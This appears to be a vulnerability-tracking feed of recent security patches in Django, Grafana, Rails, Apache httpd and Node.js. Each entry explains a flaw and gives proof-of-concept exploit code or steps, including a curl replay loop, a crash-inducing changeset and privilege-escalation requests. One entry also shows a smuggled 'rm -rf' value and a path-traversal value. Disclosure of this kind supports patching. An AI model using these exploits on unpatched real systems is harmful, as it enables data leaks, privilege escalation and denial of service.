“Exposing patches before CVEs since 2025”
Saturday, June 27, 2026
Jun 3, 2026, 04:12 PM — django/django
Patch landed 42 minutes after CVE published
Commit: 3328078a01f5268f9b8659f56fd28c5a2ed083dc
Author: Jacob Walls
Django's signed cookie salt derivation historically used `cookie_name + salt` (concatenation), which is ambiguous: a cookie named 'a' with salt 'bc' produces the same salt string as a cookie named 'ab' with salt 'c'. This means a valid signed cookie for one (name, salt) pair could be submitted as a valid cookie for a different (name, salt) pair, allowing an attacker to reuse a legitimately obtained signed cookie value in an unintended context. The patch changes the default of SIGNED_COOKIE_LEGACY_SALT_FALLBACK from True to False, so Django now only accepts cookies signed with the unambiguous new salt derivation by default.
SIGNED_COOKIE_LEGACY_SALT_FALLBACK = True
# With SIGNED_COOKIE_LEGACY_SALT_FALLBACK=True (old default), an attacker can exploit namespace collision:
# 1. Obtain a legitimately signed cookie for cookie name='a', salt='bc' containing value 'hello'
import django.core.signing as signing
from django.http import HttpRequest
# Simulate legitimate signed value for cookie 'a' with salt 'bc'
# Legacy salt = 'a' + 'bc' = 'abc'
legacy_signer = signing.get_cookie_signer(salt='abc') # old: cookie_name+salt
signed_value = legacy_signer.sign('hello')
# Attacker submits this value as cookie 'ab' with salt 'c'
# Legacy salt = 'ab' + 'c' = 'abc' <- same!
request = HttpRequest()
request.COOKIES['ab'] = signed_value
# With SIGNED_COOKIE_LEGACY_SALT_FALLBACK=True, this succeeds:
result = request.get_signed_cookie('ab', salt='c') # returns 'hello' - cookie accepted in wrong context!
Jun 3, 2026, 11:37 AM — django/django
📈 Patch landed 3 hours 53 minutes before CVE published
Commit: 70d36515b9cc71700105a14b275583070d48b689
Author: Paul McMillan
Django's get_signed_cookie derived its signing salt by concatenating the cookie name (key) and salt arguments using simple string concatenation: `key + salt`. This meant that distinct (name, salt) pairs that produce the same concatenated string (e.g., name='ab', salt='c' and name='a', salt='bc') would use the same signing namespace, allowing a signed cookie created for one context to be accepted in another. The patch fixes this by using an injective encoding that includes the salt length as a prefix, making it impossible for different (name, salt) pairs to collide.
value = signing.get_cookie_signer(salt=key + salt).sign(value) # and value = signing.get_cookie_signer(salt=key + salt).unsign(cookie_value, max_age=max_age)
# Server sets a cookie for key='a' with salt='bc':
response.set_signed_cookie('a', 'secret_value', salt='bc')
# This signs with salt = 'a' + 'bc' = 'abc'
# Attacker takes the signed value from cookie 'a' and submits it as cookie 'ab':
request.COOKIES['ab'] = response.cookies['a'].value
# Server reads cookie 'ab' with salt='c':
# This also uses salt = 'ab' + 'c' = 'abc' -- same namespace!
value = request.get_signed_cookie('ab', salt='c')
# Returns 'secret_value' -- cookie accepted in wrong context
# Demonstrated in the test: test_legacy_salt_namespace_is_accepted_by_default
Jun 3, 2026, 11:37 AM — django/django
📈 Patch landed 3 hours 53 minutes before CVE published
Commit: df887f50198593a0e5b4638bfddbbd43a30fd276
Author: Jake Howard
When using EMAIL_USE_TLS with fail_silently=True, a failed STARTTLS handshake would leave self.connection set to a partially-initialized SMTP connection that had not completed TLS negotiation. Subsequent email sends would reuse this unencrypted connection, transmitting emails (including credentials and content) in plaintext. The patch fixes this by only setting self.connection after all configuration steps (STARTTLS and login) succeed, using a temporary self._partial_connection during setup.
self.connection = self.connection_class(
self.host, self.port, **connection_params
)
if not self.use_ssl and self.use_tls:
self.connection.starttls(context=self.ssl_context)
if self.username and self.password:
self.connection.login(self.username, self.password)
import django
from django.core.mail.backends.smtp import EmailBackend
from unittest import mock
# Simulate a server that accepts connection but fails STARTTLS
# with fail_silently=True (as used by send_mail by default)
backend = EmailBackend(
host='mail.example.com', port=25, use_tls=True,
fail_silently=True, alias='test'
)
with mock.patch('smtplib.SMTP.starttls', side_effect=Exception('STARTTLS failed')):
backend.open() # Fails silently, but BEFORE patch: self.connection is set to unencrypted socket
# Before patch: backend.connection is not None (unencrypted connection)
# Subsequent send_messages() calls would send email over plaintext SMTP
print(backend.connection) # Not None before patch - email sent unencrypted
Jun 3, 2026, 11:37 AM — django/django
📈 Patch landed 3 hours 53 minutes before CVE published
Commit: d618d7ae4fec727d5b582bd24f803c28d17bf7cd
Author: Jake Howard
Django's UpdateCacheMiddleware performed a case-sensitive check for Cache-Control directives like 'private', 'no-cache', and 'no-store'. If a response manually set 'Cache-Control: Private' (or any mixed/uppercase variant), the middleware would fail to recognize it and cache the response anyway, potentially storing and serving private user data to other users. The patch lowercases the Cache-Control header value before checking for these directives.
cache_control = response.get("Cache-Control", ())
if any(
directive in cache_control
for directive in (
"private",
# Django view that manually sets Cache-Control with uppercase directive
from django.http import HttpResponse
from django.views.decorators.cache import cache_page
@cache_page(3600)
def private_user_view(request):
# Developer intends this to be private (not cached)
response = HttpResponse(f"Secret data for user: {request.user.username}")
response['Cache-Control'] = 'Private' # Uppercase 'P'
return response
# Before the patch:
# 1. User A requests /private/ -> response with 'Cache-Control: Private' is CACHED by UpdateCacheMiddleware
# because 'Private' != 'private' (case-sensitive check fails)
# 2. User B requests /private/ -> gets User A's cached private data from cache
# The fix lowercases the header before checking: cache_control.lower() makes 'Private' match 'private'
Jun 3, 2026, 11:37 AM — django/django
📈 Patch landed 3 hours 53 minutes before CVE published
Commit: a2faa8e895926ac5d63f72879b5ccf671b5b4ba9
Author: Jacob Walls
Django's UpdateCacheMiddleware and cache_page decorator failed to add 'Authorization' to the Vary header when caching responses to authenticated requests. This meant that a response generated for an authenticated user (with a specific Authorization header) could be served from cache to unauthenticated users or users with different credentials, potentially leaking private/user-specific data. The patch adds 'Authorization' to the Vary header whenever the request contains an Authorization header and the response is not explicitly marked 'Cache-Control: public'.
if timeout and response.status_code == 200:
cache_key = learn_cache_key(
request, response, timeout, self.key_prefix, cache=self.cache
)
# Step 1: Authenticated user requests a resource
import requests
# First request with Authorization header - response gets cached without Vary: Authorization
resp1 = requests.get('https://example.com/private-view/', headers={'Authorization': 'Bearer secret-token'})
# Response contains user-specific data and gets stored in cache keyed only on URL
# Step 2: Unauthenticated user (or different user) requests same URL
resp2 = requests.get('https://example.com/private-view/')
# Cache middleware returns the cached response from step 1, leaking authenticated user's private data
# to an unauthenticated user, because Vary: Authorization was not set
Jun 3, 2026, 11:37 AM — django/django
📈 Patch landed 3 hours 53 minutes before CVE published
Commit: 42aa0b3364d312e7c6472258d8b0e9c0277fbf22
Author: Jake Howard
The `has_vary_header()` function in Django's cache utility failed to strip whitespace from individual Vary header values before comparison. This meant that a `Vary: *` header with surrounding whitespace (e.g., `Vary: * ` or `Vary: * `) would not be recognized as containing the wildcard, causing `UpdateCacheMiddleware` to cache responses that should never be cached (responses with `Vary: *` should not be cached as they vary on all request headers). This could lead to private/personalized data being stored in and served from the cache to unintended users.
vary_headers = cc_delim_re.split(response.headers["Vary"])
existing_headers = {header.lower() for header in vary_headers}
return header_query.lower() in existing_headers
# Before the patch, a response with 'Vary: * ' (trailing space) would be incorrectly cached: from django.http import HttpResponse from django.utils.cache import has_vary_header response = HttpResponse() response.headers['Vary'] = '* ' # trailing whitespace # Returns False before patch (should return True) print(has_vary_header(response, '*')) # False - bug! # In UpdateCacheMiddleware, a Vary: * response with whitespace padding # would NOT be detected as having Vary: *, so it would be stored in cache. # A subsequent request from a different user could then receive this cached # response containing another user's private data.
Jun 2, 2026, 08:12 PM — grafana/grafana
Commit: 91a48190d0d25ddd6ac649b1f780b07d2b8efc2e
Author: mohammad-hamid
In the IAM K8s role API, a user holding `permissions:type:delegate` had their scope resolved to the wildcard `*` in the RBAC scope map. The `checkPermission` function short-circuited on wildcard presence, allowing a delegate holder to satisfy ANY scope check including `permissions:type:escalate`. This meant a user with only delegate permissions could perform escalate-level operations (granting elevated roles they shouldn't be able to grant). The fix adds `SkipWildcard: true` to the permissions resource mapping and retains the literal `permissions:type:*` scope alongside the resolved wildcard, so exact scope matching is required for permission type checks.
// Wildcard grant, no further checks needed
if scopeMap["*"] {
return true, nil
}
1. Create a user/service account with only `roles:write` permission scoped to `permissions:type:delegate`.
2. The scope `permissions:type:delegate` resolves to `*` in resolveScopeMap, so scopeMap becomes {"*": true}.
3. Call the IAM K8s role API with an escalate operation (e.g., PATCH /apis/iam.grafana.app/v0alpha1/namespaces/org-1/permissions/escalate).
4. checkPermission sees scopeMap["*"] == true and returns true immediately, bypassing the escalate scope requirement.
5. The delegate holder can now assign escalate-level roles, achieving privilege escalation.
Jun 1, 2026, 05:41 PM — apache/httpd
Commit: 52e6887eced229f562e7cc6599184dcc6fced321
Author: Eric Covener
In Apache httpd's mod_include (Server Side Includes), when a conditional expression (<!--#if expr="..." -->) fails to parse or evaluate, the content inside the if/elif/else block was still being printed to the client despite the error. This meant that content intended to be conditionally hidden could be disclosed to clients who craft malformed SSI expressions. The patch fixes this by setting a new SSI_FLAG_COND_ERROR flag on parse failure and ensuring the printing flag is cleared, so the enclosed content is suppressed.
if (was_error) {
SSI_CREATE_ERROR_BUCKET(ctx, f, bb);
return APR_SUCCESS;
}
Given an SSI-enabled .shtml file with content: <!--#if expr="INVALID_EXPR_@@@@" --> SECRET_CONTENT_SHOULD_BE_HIDDEN <!--#endif --> Before the patch, requesting this file would output 'SECRET_CONTENT_SHOULD_BE_HIDDEN' to the client because the expression parse failure did not clear the SSI_FLAG_PRINTING flag. An attacker could exploit this by crafting requests to pages where sensitive content is inside a conditional block, using a malformed expression string to force the parse to fail and reveal the hidden content.
Jun 1, 2026, 08:55 AM — rails/rails
Commit: 6c2c9349417a162ba77cc5cd8bde50cdf95e6fd6
Author: Jean Boussier
The HostAuthorization middleware in Rails failed to reject malformed Host headers containing extra port segments (e.g., `www.example.com:80:80`) when the allowed host was configured with an explicit port. Because `sanitize_string` always appended an optional `PORT_REGEX?` suffix, a host like `www.example.com:80` would generate a regex that also matched `www.example.com:80:80`. This allowed attackers to bypass the host allowlist with a malformed Host header, potentially reaching downstream code (such as redirect logic) that constructs URLs from the Host header, enabling open redirect or host header injection attacks. The patch fixes this by not appending an extra optional port segment when the configured host already contains a port.
/\A#{Regexp.escape host}#{PORT_REGEX}?\z/i
Configure Rails with: config.hosts = ['www.example.com:80'] Send request: GET / HTTP/1.1\r\nHost: www.example.com:80:80\r\n Before patch: request passes HostAuthorization (200 OK), and any downstream redirect using `request.host` would redirect to a URL built from `www.example.com:80:80`, potentially exploitable for open redirect or SSRF. After patch: request is blocked with 403 Forbidden.
Jun 1, 2026, 08:15 AM — rails/rails
Commit: 185c5f04adc8309b1ea73adb649ae9c876ce19dd
Author: Jean Boussier
The Action Cable PostgreSQL adapter used String#size (character count) instead of String#bytesize (byte count) to determine if a channel name needed hashing before being used as a PostgreSQL identifier. Since PostgreSQL limits identifiers to 63 bytes but the check used character count, multibyte channel names with ≤63 characters but >63 bytes were passed unhashed to PostgreSQL, which silently truncated them. This caused the adapter to subscribe under the full untruncated name but receive notifications under the truncated name, resulting in broadcast messages being misrouted to the wrong channel subscribers. An attacker could craft a channel name that truncates to match a victim's channel name, causing them to receive messages intended for another user.
def channel_identifier(channel) channel.size > 63 ? OpenSSL::Digest::SHA1.hexdigest(channel) : channel end
# Attacker subscribes to a channel whose name is the 63-byte truncation of victim's channel
# Victim's channel: ("あ" * 22) = 22 chars, 66 bytes -> truncated by PG to first 63 bytes = "あ" * 21
# Attacker's channel: "あ" * 21 = 21 chars, 63 bytes -> passes size check (21 <= 63), used as-is
# Both map to the same PG LISTEN identifier after truncation
victim_channel = "あ" * 22 # 22 chars, 66 bytes - channel.size=22 <= 63, so NOT hashed
attacker_channel = "あ" * 21 # 21 chars, 63 bytes - used as-is
# PG silently truncates victim_channel to 63 bytes = attacker_channel
# Both are now LISTENing on the same PG identifier
# broadcast(victim_channel, secret_message) -> delivered to attacker_channel subscribers too
Jun 1, 2026, 08:15 AM — rails/rails
Commit: 5b41c8a214a6a9dcf5834db1c76f60f06f7819d9
Author: Kenta Ishizaki
The PostgreSQL Action Cable adapter used `String#size` (character count) instead of `String#bytesize` (byte count) to decide whether to hash a channel identifier. PostgreSQL silently truncates identifiers to 63 bytes, so a multibyte channel name with ≤63 characters but >63 bytes would be passed unhashed to PostgreSQL, which would truncate it. The adapter subscribes using the full unhashed name but receives notifications under the truncated name, causing broadcasts to the long channel to be delivered to whichever subscriber holds the 63-byte truncation of that name — enabling cross-stream message delivery to unintended subscribers.
def channel_identifier(channel) channel.size > 63 ? OpenSSL::Digest::SHA1.hexdigest(channel) : channel end
# Attacker subscribes to channel named 'あ' * 21 (21 chars, 63 bytes)
# Victim subscribes to channel named ('あ' * 30) + 'X' (31 chars, 91 bytes)
# PostgreSQL truncates the 91-byte name to 63 bytes = 'あ' * 21
# Both LISTEN on the same PostgreSQL channel due to truncation
# When victim's channel is broadcast to, attacker receives the message:
#
# long_channel = ('あ' * 30) + 'X' # 31 chars, 91 bytes
# short_channel = 'あ' * 21 # 21 chars, 63 bytes (== truncation of long)
# adapter.subscribe(short_channel, attacker_callback)
# adapter.broadcast(long_channel, 'secret payload')
# => attacker_callback receives 'secret payload'
May 30, 2026, 03:40 PM — nodejs/node
Commit: 17e41962a7ec0d0af105936e9655545377c39e18
Author: Antoine du Hamel
When a Node.js Buffer is backed by a SharedArrayBuffer, another thread can modify the underlying memory between the validation step (validate_utf8) and the conversion step (convert_valid_utf8_to_utf16) in StringBytes::Encode. This TOCTOU race condition can cause undefined behavior, potential memory corruption, or incorrect string encoding. The patch copies SharedArrayBuffer-backed data before processing to prevent concurrent modification.
ArrayBufferViewContents<char> buffer(args[0]); // ... const char* data = buffer.data(); size_t length = buffer.length(); // Data is read multiple times without protection against concurrent modification if (StringBytes::Encode(isolate, buffer.data() + start, length, encoding)
// Worker thread continuously modifies shared buffer
const { Worker, isMainThread, workerData } = require('worker_threads');
if (isMainThread) {
const sab = new SharedArrayBuffer(1024);
const buf = Buffer.from(sab);
// Fill with valid UTF-8
buf.fill(0x41);
const worker = new Worker(__filename, { workerData: { sab } });
// Main thread repeatedly calls toString() while worker mutates the buffer
setInterval(() => {
try { buf.toString('utf8'); } catch(e) {}
}, 0);
} else {
const arr = new Uint8Array(workerData.sab);
// Rapidly alternate between valid multi-byte UTF-8 sequences and invalid bytes
// to trigger UB between validate_utf8 and convert_valid_utf8_to_utf16
while (true) {
arr.fill(0xC0); // invalid lead byte
arr.fill(0x41); // valid ASCII
}
}
May 29, 2026, 05:07 PM — grafana/grafana
Commit: bb674a5354d9bba7d9d419396f683af5b40c9be5
Author: Roberto Jiménez Sánchez
When a user configured a git repository with an `http://` URL and a personal access token (PAT), the token was transmitted in cleartext on every git operation because `git.NewRepository` adds basic auth unconditionally regardless of the URL scheme. The validators never rejected this combination, meaning tokens could be intercepted by network observers. The patch adds validation that rejects `http://` URLs when a token is configured (unless explicitly allowed via `allow_insecure` flag or development mode).
func ValidateGitConfigFields(repo *provisioning.Repository, url, branch, path string) field.ErrorList {
var list field.ErrorList
// ... no check for http:// + token combination
// Token would be sent in cleartext on every git operation
Configure a Grafana provisioning repository with: URL: http://attacker-controlled-proxy.example.com/repo.git Token: ghp_secretPersonalAccessToken123 Any network observer (or the proxy itself) between Grafana and the git server would receive HTTP requests with header: Authorization: Basic base64(user:ghp_secretPersonalAccessToken123) The token travels in cleartext (base64 is not encryption), enabling token theft and subsequent unauthorized repository access. Before the patch, no validation prevented this configuration.
May 29, 2026, 02:19 PM — grafana/grafana
Commit: 407c1ffd5634ae5a9b45c6b8ee02e773c2aff264
Author: Lauren
The Alert Group edit route was registered with only read-level permissions (AlertingRuleRead/AlertingRuleExternalRead), meaning Viewer-role users could navigate directly to the edit URL and interact with the editable group form. While the backend correctly returned 403 on save attempts, the frontend exposed the full edit UI to unauthorized users. The patch changes the route guard to require AlertingRuleUpdate/AlertingRuleExternalWrite, aligning it with other edit routes.
roles: evaluateAccess([AccessControlAction.AlertingRuleRead, AccessControlAction.AlertingRuleExternalRead]),
1. Log in as a Viewer-role user in Grafana. 2. Navigate directly to: /alerting/<dataSourceUid>/namespaces/<namespaceId>/groups/<groupName>/edit 3. The full editable Alert Group form loads successfully (not blocked by the route guard). 4. The Viewer can view and manipulate all form fields; only clicking Save reveals the 403 from the backend. Expected (before patch): Edit UI fully accessible to Viewers. After patch: Route guard redirects Viewers away before the edit UI loads.
May 29, 2026, 01:57 PM — grafana/grafana
Commit: 4627641de37c91581f1656cdfd9d9e7a4c9553c1
Author: Roberto Jiménez Sánchez
GitHub provisioning webhooks were authenticated by HMAC signature only, but the HMAC covers only the request body (not headers or timestamps). This means a captured (body, X-Hub-Signature-256) tuple could be replayed indefinitely until the webhook secret rotates, causing repeated re-enqueueing of sync jobs. The patch adds a TTL-bounded replay cache keyed on the validated signature, silently dropping previously-seen signed requests.
func (r *githubWebhookRepository) Webhook(ctx context.Context, req *http.Request) (*provisioning.WebhookResponse, error) {
// ... signature validation ...
// No replay protection — validated request goes straight to parseWebhook
return r.parseWebhook(ctx, github.WebHookType(req), payload)
}
# Capture a legitimate webhook delivery:
curl -X POST https://grafana-instance/apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/my-repo/webhook \
-H 'X-GitHub-Event: push' \
-H 'X-Hub-Signature-256: sha256=<captured_signature>' \
-H 'Content-Type: application/json' \
-d '{"ref":"refs/heads/main","repository":{"full_name":"org/repo"}}'
# Replay the same request repeatedly with different X-GitHub-Delivery IDs:
for i in $(seq 1 100); do
curl -X POST https://grafana-instance/apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/my-repo/webhook \
-H 'X-GitHub-Event: push' \
-H 'X-Hub-Signature-256: sha256=<captured_signature>' \
-H 'X-GitHub-Delivery: fake-delivery-'$i \
-H 'Content-Type: application/json' \
-d '{"ref":"refs/heads/main","repository":{"full_name":"org/repo"}}'
done
# Each replay enqueues a new sync job, causing resource exhaustion / DoS
May 29, 2026, 10:39 AM — grafana/grafana
Commit: 81bc63f986401fb0f28c690e6955480ee1934b85
Author: Ezequiel Victorero
The `SnapshotPublicModeOrCreate` and `SnapshotPublicModeOrDelete` middleware functions called `ac.Middleware(ac2)(ac.EvalPermission(...))` which returned a new HTTP handler but never invoked it, effectively making the RBAC permission check dead code. Any authenticated user could create or delete snapshots regardless of whether they had the required permissions (`snapshots:create` or `snapshots:delete`). The patch fixes this by directly calling `ac2.Evaluate()` and properly enforcing the permission check.
ac.Middleware(ac2)(ac.EvalPermission(dashboards.ActionSnapshotsCreate)) // and ac.Middleware(ac2)(ac.EvalPermission(dashboards.ActionSnapshotsDelete))
A user with no snapshot permissions can create/delete snapshots: 1. Log in as a user without 'snapshots:create' or 'snapshots:delete' RBAC permissions 2. POST /api/snapshots — the SnapshotPublicModeOrCreate middleware passes through (permission check was never invoked), allowing snapshot creation 3. DELETE /api/snapshots/<key> — the SnapshotPublicModeOrDelete middleware passes through, allowing snapshot deletion Expected: 403 Forbidden. Actual (before patch): 200 OK, action succeeds.
May 28, 2026, 09:37 PM — grafana/grafana
Commit: a88567fff8e67bf2e48c95efc5406cf66b656294
Author: Ryan McKinley
The `GetDataSourcesByType` method in Grafana's datasource service returned all datasources of a given type without checking the caller's `datasources:read` permissions. An authenticated user with access to the API endpoint that internally calls `GetDataSourcesByType` (e.g., `ListConnections` with a plugin filter) could enumerate and read metadata for datasources they are not authorized to access. The patch adds per-datasource permission evaluation using the requester's access control scopes before returning results.
func (s *Service) GetDataSourcesByType(ctx context.Context, query *datasources.GetDataSourcesByTypeQuery) ([]*datasources.DataSource, error) {
// ...
return s.SQLStore.GetDataSourcesByType(ctx, query) // No authz check!
}
A user with permissions to read only datasource UID 'aaa' calls:
GET /api/datasources/proxy (or any endpoint calling ListConnections with Plugin='graphite')
Before patch: GetDataSourcesByType returns ALL datasources of type 'graphite' regardless of user permissions, leaking names/UIDs/configs of datasources the user should not see.
After patch: Only datasources where the user has 'datasources:read' with matching scope UID are returned.
Example: User has permissions {datasources:read: [datasources:uid:aaa]} but ListConnections(plugin='graphite') returned datasources with UIDs 'aaa', 'bbb', 'ccc' — exposing 'bbb' and 'ccc' to unauthorized user.
May 28, 2026, 03:20 PM — grafana/grafana
Commit: 0ad90635e8f05ee941357bcb5e926b6f13f80344
Author: Ezequiel Victorero
Before the patch, the DELETE endpoint for short URLs in the Kubernetes storage backend deleted by UID alone without scoping to the caller's org ID. This meant a user in one organization could delete short URLs belonging to another organization by simply knowing or guessing the UID. The patch adds org_id scoping to the DELETE SQL query, ensuring users can only delete short URLs within their own organization.
var rawSql = "DELETE FROM short_url WHERE uid = ?"
if result, err := session.Exec(rawSql, cmd.Uid); err != nil {
Org 1 user creates a short URL with UID 'abc123'. Org 2 user calls DELETE /apis/shorturl.grafana.app/v1beta1/namespaces/org-2/shorturls/abc123 — because the legacy storage Delete function previously called DeleteStaleShortURLs with only the UID (no OrgId), the SQL executed 'DELETE FROM short_url WHERE uid = ?', which would delete the short URL belonging to Org 1 even though the requester is in Org 2.
May 28, 2026, 02:57 PM — grafana/grafana
Commit: e877b082249486ec2d4c719baa168479823fb6c4
Author: Mustafa Sencer Özcan
Before this patch, the `validateOnUpdate` function in the Grafana folder API did not perform any access escalation check when a folder was moved to a new parent. This allowed an authenticated user (e.g., an Editor in a target folder) to move a folder they had write access to into a destination folder where they had higher privileges than at the source, effectively gaining elevated permissions over the folder's contents transitively. The patch adds a `checkMoveAccess` call that uses a BatchCheck to compare the user's permission tier at the old parent vs. the new parent and blocks moves that would result in privilege escalation.
return validateOnUpdate(ctx, f, old, b.storage, b.parents, b.searcher, b.maxNestedFolderDepth)
Scenario: User is an Admin in folder 'high-priv-folder' but only a Viewer in folder 'low-priv-folder'. A sub-folder 'victim-folder' exists under 'low-priv-folder'. Before the patch: PATCH /apis/folder.grafana.app/v1/namespaces/default/folders/victim-folder with body setting grafana.app/folder annotation to 'high-priv-folder'. The move succeeds without checking that the user gains Admin-tier access over 'victim-folder' and all its contents (dashboards, library panels, alerts) at the new location. After the move, the user has Admin access to 'victim-folder' contents inherited from 'high-priv-folder', escalating from Viewer to Admin on those resources.
May 28, 2026, 10:23 AM — grafana/grafana
Commit: 8a8623b2fc6277264b3eecbd3a86c7cae8811328
Author: Roberto Jiménez Sánchez
The `ref` query parameter in the `history` and `files` endpoints was forwarded directly to backends (including the GitHub REST API) without any validation. An attacker could supply a malicious `ref` value containing shell metacharacters, path traversal sequences, or other dangerous strings that would be passed as-is to api.github.com or local git operations. The patch adds validation at the connector layer, rejecting any `ref` that isn't a valid branch name or commit SHA before reaching any backend.
query := r.URL.Query()
ref := query.Get("ref")
// ref is passed directly to the backend with no validation
GET /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/my-repo/history/dashboard.json?ref=main%3B%20rm%20-rf%20%2F Or for the files endpoint: GET /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/my-repo/files/dashboard.json?ref=..%2F..%2Fetc%2Fpasswd Before the patch, the string 'main; rm -rf /' or '../../../etc/passwd' would be forwarded to the GitHub API as the SHA/ref parameter or to local git operations without sanitization.
May 28, 2026, 04:56 AM — nodejs/node
Commit: d8ac30125b39938789630cd307d89c9defec6a9b
Author: Junsu Han
The SQLite session extension had a bug where applying a malformed/corrupt UPDATE changeset that omits old values for primary-key columns would pass NULL to sessionBindValue(). Before the patch, the condition `p->abPK\[i\] || (bPatchset==0 && pOld)` would evaluate to true for primary-key columns regardless of whether pOld was NULL, causing NULL to be passed to sessionBindValue() which could crash the process. The fix adds a NULL check on pOld first: `pOld && (p->abPK\[i\] || bPatchset==0)`, ensuring NULL is never passed.
if( p->abPK[i] || (bPatchset==0 && pOld) ){
rc = sessionBindValue(pUp, i*2+2, pOld);
}
const { DatabaseSync } = require('node:sqlite');
const database = new DatabaseSync(':memory:');
database.exec('CREATE TABLE t1(a INTEGER PRIMARY KEY, b, c, d)');
// Malformed changeset that omits old values for primary-key columns
const changeset = Buffer.from('540401000000743100177e0072286565286565', 'hex');
// Before patch: crashes Node.js process due to NULL dereference in sessionBindValue
// After patch: throws 'database disk image is malformed' error (SQLITE_CORRUPT)
database.applyChangeset(changeset);
May 28, 2026, 01:36 AM — rails/rails
Commit: b76f84fe3d6741cfd2b50589dc3b06e575ed0ffc
Author: Rafael Mendonça França
The Mailgun ingress authentication could be bypassed by sending the `signature` parameter as an array instead of a string. When `signature` is an array, `ActiveSupport::SecurityUtils.secure_compare` raises an exception before returning 401 Unauthorized, causing the request to result in a 500 error rather than an authentication failure. This means an attacker could bypass authentication entirely by sending a malformed signature parameter. The fix adds a type check to ensure `signature` is a String before performing the comparison, returning 401 for non-string values.
def signed? ActiveSupport::SecurityUtils.secure_compare signature, expected_signature end
POST /rails/action_mailbox/mailgun/inbound_emails/mime HTTP/1.1 Content-Type: application/x-www-form-urlencoded timestamp=1539112500&token=7VwW7k6Ak7zcTwoSoNm7aTtbk1g67MKAnsYLfUB7PdszbgR5Xi&signature[]=invalid_sig&body-mime=<raw_email_content> # This sends signature as an array, causing secure_compare to raise an exception # instead of returning 401 Unauthorized, effectively bypassing authentication # and allowing unauthenticated email injection into the system
May 27, 2026, 09:41 PM — grafana/grafana
Commit: ab1ffd506254124c9212eb1a880a49092e40ebd1
Author: Ryan McKinley
In the ruler export endpoints, a user with folder read access (folders:read) but without rule-level access (alert.rules:read) could enumerate and read alert rules from folders they should be denied access to. In getRulesWithFolderFullPathInFolders, when explicit folderUIDs were provided, the old code only checked folder visibility but not rule-level authorization; it silently dropped inaccessible folders instead of denying — but the actual searchAuthorizedAlertRules call was passed the raw folderUIDs list rather than the filtered query.NamespaceUIDs. In getRuleGroupWithFolderFullPath, lacking rule access caused an ErrAlertRuleNotFound which mapped to 500 rather than 403, leaking information. The patch adds explicit AuthorizeAccessInFolder checks before rule retrieval.
for _, folderUID := range folderUIDs {
if _, ok := folders[folderUID]; ok {
query.NamespaceUIDs = append(query.NamespaceUIDs, folderUID)
}
}
if len(query.NamespaceUIDs) == 0 {
return nil, authz.NewAuthorizationErrorGeneric("access rules in the specified folders")
}
A user with only folders:read permission on folder F1 (but no alert.rules:read) sends: GET /api/ruler/grafana/api/v1/export/rules?folderUid=F1&folderUid=F2 where F2 is a folder they can see. The old code passed the raw folderUIDs=[F1,F2] to searchAuthorizedAlertRules (not the filtered query.NamespaceUIDs), bypassing folder-level rule access checks and potentially returning rules from folders the user should not access. Additionally, GET /api/ruler/grafana/api/v1/export/rules?folderUid=F1&group=some-group with only folders:read would return 500 (leaking that the group exists or internal error state) instead of 403.
May 27, 2026, 08:54 PM — grafana/grafana
Commit: 5877f5c55cc80c890b4d4ab44ff1d9488b15c4fd
Author: Ryan McKinley
The `PatchLibraryElement` endpoint allowed any user with `library.panels:write` permission on a library element to move it to any folder, including folders they cannot write to or even see. The route-level guard only checked write permission on the element itself, not create permission on the destination folder. The patch adds an explicit `library.panels:create` evaluation on the destination folder UID before allowing the move.
if cmd.FolderUID != nil {
// Only checked if folder exists and is not provisioned, but
// NO check that caller has create permission on destination folder
if f.ManagedBy == utils.ManagerKindRepo {
return model.LibraryElementDTO{}, model.ErrLibraryElementProvisionedFolder
}
}
1. Attacker has `library.panels:write` on a library element in folder1, but only VIEW access to folder4 (no create permission).
2. PATCH /api/library-elements/{uid} with body: {"folderUid": "folder4-uid"}
3. Before the patch: request succeeds (200 OK), element is moved to folder4 despite attacker lacking create permissions there.
4. After the patch: request returns 403 Forbidden.
Concrete HTTP request:
PATCH /api/library-elements/myElementUID
Authorization: Basic Z3JhbnVsYXItdmlld2VyOmdyYW51bGFyLXZpZXdlcg==
Content-Type: application/json
{"folderUid": "folder4UID", "kind": 1, "name": "My Panel", "model": {}, "version": 1}
May 27, 2026, 06:23 PM — grafana/grafana
Commit: 1c189bcecdcbc2bdcbd6d6256257e712d9c7d6fd
Author: Roberto Jiménez Sánchez
The `isPublicURL` function used naive string matching to determine if a URL is public, allowing an attacker to bypass webhook registration restrictions. Specifically, `strings.Contains(url, "localhost")` would return true for legitimate public hosts like `notlocalhost.grafana.com`, blocking valid webhooks, but more critically the incomplete RFC1918 check (only `172.16.` prefix, missing `172.17`-`172.31`) meant Grafana could be tricked into registering webhooks pointing to internal/private infrastructure in the 172.17-172.31 range, potentially enabling SSRF-like scenarios where external webhook providers attempt to call back to internal services. The patch replaces string matching with proper URL parsing and CIDR range checks.
func isPublicURL(url string) bool {
return strings.HasPrefix(url, "https://") &&
!strings.Contains(url, "localhost") &&
!strings.HasPrefix(url, "https://127.") &&
!strings.HasPrefix(url, "https://192.") &&
!strings.HasPrefix(url, "https://10.") &&
!strings.HasPrefix(url, "https://172.16.")
}
// An attacker controlling Grafana configuration or webhook BaseURL could set:
// baseURL = "https://172.17.0.1/internal-service"
// isPublicURL("https://172.17.0.1/internal-service") returns TRUE (bypasses check)
// because only "172.16." prefix is checked, not the full 172.16.0.0/12 CIDR range.
// This causes Grafana to register a webhook with an external Git provider (e.g. GitHub)
// pointing to an internal IP, and if that provider attempts delivery,
// or if an admin is deceived into thinking the URL is verified as public,
// internal services at 172.17-172.31 could be targeted.
//
// Concrete: isPublicURL("https://172.17.0.1/") == true (before patch)
// isPublicURL("https://172.17.0.1/") == false (after patch)